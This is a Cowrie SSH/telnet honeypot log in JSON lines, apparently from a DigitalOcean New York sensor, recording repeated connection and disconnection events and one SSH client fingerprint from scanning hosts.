{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:33.024812Z","src_ip":"109.105.210.72","session":"cbac37cdec93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.110248565673828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:33.312714Z","src_ip":"176.74.31.147","session":"560625635fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a9792619b61","protocol":"telnet","message":"New connection: 212.47.75.195:54712 (159.203.135.109:23) [session: 0a9792619b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:33.436656Z"}
{"eventid":"cowrie.session.closed","duration":30.797001123428345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:33.456471Z","src_ip":"108.179.218.230","session":"1294e47cc1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9835bd381f4a","protocol":"telnet","message":"New connection: 108.179.218.230:34342 (10.17.0.5:23) [session: 9835bd381f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:33.583764Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54714,"dst_ip":"159.203.135.109","dst_port":23,"session":"333fc7e0a3f3","protocol":"telnet","message":"New connection: 212.47.75.195:54714 (159.203.135.109:23) [session: 333fc7e0a3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:34.425549Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34770,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed22c4b34f9","protocol":"telnet","message":"New connection: 108.179.218.230:34770 (10.17.0.5:23) [session: eed22c4b34f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:34.526841Z"}
{"eventid":"cowrie.session.closed","duration":30.85308289527893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:34.834140Z","src_ip":"108.179.218.230","session":"3fb21ae4971c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54716,"dst_ip":"159.203.135.109","dst_port":23,"session":"b37218771c93","protocol":"telnet","message":"New connection: 212.47.75.195:54716 (159.203.135.109:23) [session: b37218771c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:36.434492Z"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:36.683316Z","src_ip":"122.168.114.167","session":"2543cb46e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.190044164657593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:37.564265Z","src_ip":"108.179.218.230","session":"ca8c1d6429d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.9185676574707,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:37.816413Z","src_ip":"185.26.126.47","session":"60adf565b26d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324592351913452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:38.304647Z","src_ip":"108.179.218.230","session":"dad30699aa3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284654140472412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:38.640548Z","src_ip":"108.179.218.230","session":"9dd81def777d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011056184768677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:39.592901Z","src_ip":"108.179.218.230","session":"7bda4c4f4892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52211594581604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:40.318560Z","src_ip":"108.179.218.230","session":"38fb823de2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852915048599243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:40.602407Z","src_ip":"108.179.218.230","session":"3a6c7983e33b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e70bd74d716d","protocol":"telnet","message":"New connection: 212.47.75.195:54718 (159.203.135.109:23) [session: e70bd74d716d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:40.699670Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54720,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e923c49f2a","protocol":"telnet","message":"New connection: 212.47.75.195:54720 (159.203.135.109:23) [session: d9e923c49f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:40.741599Z"}
{"eventid":"cowrie.session.closed","duration":30.781118869781494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:41.409948Z","src_ip":"108.179.218.230","session":"08da7a20f8d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01841449737549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:42.530641Z","src_ip":"108.179.218.230","session":"a60644f3de67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":38428,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7667d18ea36","protocol":"telnet","message":"New connection: 108.179.218.230:38428 (10.17.0.5:23) [session: d7667d18ea36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:42.921244Z"}
{"eventid":"cowrie.session.closed","duration":31.064843893051147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:43.243608Z","src_ip":"108.179.218.230","session":"9ba903f37d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54722,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61ded1cb241","protocol":"telnet","message":"New connection: 212.47.75.195:54722 (159.203.135.109:23) [session: b61ded1cb241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:44.487249Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54724,"dst_ip":"159.203.135.109","dst_port":23,"session":"0594b24ffcc9","protocol":"telnet","message":"New connection: 212.47.75.195:54724 (159.203.135.109:23) [session: 0594b24ffcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:44.576266Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39084,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e26854a81e","protocol":"telnet","message":"New connection: 108.179.218.230:39084 (10.17.0.5:23) [session: f6e26854a81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:44.808787Z"}
{"eventid":"cowrie.session.closed","duration":30.94949746131897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:45.240942Z","src_ip":"108.179.218.230","session":"7f46127b99ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.210285425186157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:45.452439Z","src_ip":"108.179.218.230","session":"277d7e68f91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54728,"dst_ip":"159.203.135.109","dst_port":23,"session":"59dc75c1eeca","protocol":"telnet","message":"New connection: 212.47.75.195:54728 (159.203.135.109:23) [session: 59dc75c1eeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:45.579772Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54730,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c5997666dee","protocol":"telnet","message":"New connection: 212.47.75.195:54730 (159.203.135.109:23) [session: 6c5997666dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:46.167449Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54732,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5438d9d3ff7","protocol":"telnet","message":"New connection: 212.47.75.195:54732 (159.203.135.109:23) [session: c5438d9d3ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:47.576581Z"}
{"eventid":"cowrie.session.closed","duration":31.16276717185974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:48.173915Z","src_ip":"108.179.218.230","session":"8fe2a11ae48b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54734,"dst_ip":"159.203.135.109","dst_port":23,"session":"7822d2be5282","protocol":"telnet","message":"New connection: 212.47.75.195:54734 (159.203.135.109:23) [session: 7822d2be5282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:49.001622Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":43214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26f5f0e64d7","protocol":"telnet","message":"New connection: 176.74.31.147:43214 (159.203.135.109:23) [session: c26f5f0e64d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:49.327358Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54736,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b89f4d87d8","protocol":"telnet","message":"New connection: 212.47.75.195:54736 (159.203.135.109:23) [session: f9b89f4d87d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:49.447573Z"}
{"eventid":"cowrie.session.closed","duration":43.554826974868774,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:50.083225Z","src_ip":"108.179.218.230","session":"e4aa14863d78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74237632751465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:50.855754Z","src_ip":"133.130.75.21","session":"77061c5576a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":41278,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53c6646157f","protocol":"telnet","message":"New connection: 108.179.218.230:41278 (10.17.0.5:23) [session: f53c6646157f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:50.891473Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54738,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d30da60eb0c","protocol":"telnet","message":"New connection: 212.47.75.195:54738 (159.203.135.109:23) [session: 6d30da60eb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:51.026830Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54740,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c268f52a95","protocol":"telnet","message":"New connection: 212.47.75.195:54740 (159.203.135.109:23) [session: 52c268f52a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:51.258653Z"}
{"eventid":"cowrie.session.closed","duration":30.299269437789917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:51.461906Z","src_ip":"108.179.218.230","session":"e3d93e93e996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787100076675415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:51.848385Z","src_ip":"108.179.218.230","session":"0eac53bc8a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"f583bc2e3fcc","protocol":"telnet","message":"New connection: 212.47.75.195:54742 (159.203.135.109:23) [session: f583bc2e3fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:52.618419Z"}
{"eventid":"cowrie.session.closed","duration":30.5899600982666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:53.828894Z","src_ip":"108.179.218.230","session":"9ecc2bd6087e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.053975105285645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:54.260733Z","src_ip":"108.179.218.230","session":"3bdd1b1c6f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54744,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9beea6336c","protocol":"telnet","message":"New connection: 212.47.75.195:54744 (159.203.135.109:23) [session: 4f9beea6336c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:54.668053Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d40480a09f5","protocol":"telnet","message":"New connection: 108.179.218.230:41936 (10.17.0.5:23) [session: 7d40480a09f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:54.828703Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":43306,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a000d52c939","protocol":"telnet","message":"New connection: 108.179.218.230:43306 (10.17.0.5:23) [session: 5a000d52c939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:55.141837Z"}
{"eventid":"cowrie.session.closed","duration":30.538931608200073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:55.485478Z","src_ip":"108.179.218.230","session":"8d7ed0044342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77261257171631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:56.279693Z","src_ip":"212.47.75.195","session":"9f239279f2e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67507529258728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:57.116299Z","src_ip":"212.47.75.195","session":"7f23d35b035e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.977927446365356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:58.368367Z","src_ip":"212.47.75.195","session":"2aed71c336f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950549602508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:58.423328Z","src_ip":"108.179.218.230","session":"f54a148768fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54746,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfb5bada7546","protocol":"telnet","message":"New connection: 212.47.75.195:54746 (159.203.135.109:23) [session: cfb5bada7546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:58.498532Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f6918895133","protocol":"telnet","message":"New connection: 212.47.75.195:54748 (159.203.135.109:23) [session: 5f6918895133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:58.629246Z"}
{"eventid":"cowrie.session.closed","duration":30.766214847564697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:59.102078Z","src_ip":"133.130.75.21","session":"2cc71eaea568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5ff7f1ba068","protocol":"telnet","message":"New connection: 212.47.75.195:54750 (159.203.135.109:23) [session: f5ff7f1ba068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:59.664773Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54752,"dst_ip":"159.203.135.109","dst_port":23,"session":"794a16bdd09d","protocol":"telnet","message":"New connection: 212.47.75.195:54752 (159.203.135.109:23) [session: 794a16bdd09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:59.832104Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":45132,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58c48280e65","protocol":"telnet","message":"New connection: 108.179.218.230:45132 (10.17.0.5:23) [session: b58c48280e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:00.167644Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c17abf8b5e51","protocol":"telnet","message":"New connection: 176.74.31.147:50472 (159.203.135.109:23) [session: c17abf8b5e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:00.293161Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":51164,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1b096aaf58","protocol":"telnet","message":"New connection: 176.74.31.147:51164 (159.203.135.109:23) [session: da1b096aaf58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:00.310720Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46416,"dst_ip":"159.203.135.109","dst_port":22,"session":"663c9b6f70a1","protocol":"ssh","message":"New connection: 122.168.114.167:46416 (159.203.135.109:22) [session: 663c9b6f70a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:00.334588Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54754,"dst_ip":"159.203.135.109","dst_port":23,"session":"b62f099f6e3c","protocol":"telnet","message":"New connection: 212.47.75.195:54754 (159.203.135.109:23) [session: b62f099f6e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:00.754988Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54758,"dst_ip":"159.203.135.109","dst_port":23,"session":"6255461a966b","protocol":"telnet","message":"New connection: 212.47.75.195:54758 (159.203.135.109:23) [session: 6255461a966b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:01.007156Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"4810f56c25ac","protocol":"telnet","message":"New connection: 212.47.75.195:54756 (159.203.135.109:23) [session: 4810f56c25ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:01.012575Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54760,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc50993019b","protocol":"telnet","message":"New connection: 212.47.75.195:54760 (159.203.135.109:23) [session: 1dc50993019b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:02.783556Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4a8f3465a47","protocol":"telnet","message":"New connection: 212.47.75.195:54762 (159.203.135.109:23) [session: d4a8f3465a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:02.983791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:03.226243Z","src_ip":"122.168.114.167","session":"663c9b6f70a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:03.230872Z","src_ip":"122.168.114.167","session":"663c9b6f70a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54764,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a34f96f30f6","protocol":"telnet","message":"New connection: 212.47.75.195:54764 (159.203.135.109:23) [session: 8a34f96f30f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:03.263024Z"}
{"eventid":"cowrie.session.closed","duration":30.75551152229309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:04.192060Z","src_ip":"212.47.75.195","session":"0a9792619b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82915234565735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:04.412770Z","src_ip":"108.179.218.230","session":"9835bd381f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":53520,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b456f152aee","protocol":"telnet","message":"New connection: 176.74.31.147:53520 (159.203.135.109:23) [session: 8b456f152aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:04.426171Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":47020,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec1aca1d040","protocol":"telnet","message":"New connection: 108.179.218.230:47020 (10.17.0.5:23) [session: 3ec1aca1d040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:04.455211Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":53556,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab60dda9674","protocol":"telnet","message":"New connection: 176.74.31.147:53556 (159.203.135.109:23) [session: 7ab60dda9674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:04.459512Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54766,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaad89a2c470","protocol":"telnet","message":"New connection: 212.47.75.195:54766 (159.203.135.109:23) [session: eaad89a2c470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:04.901545Z"}
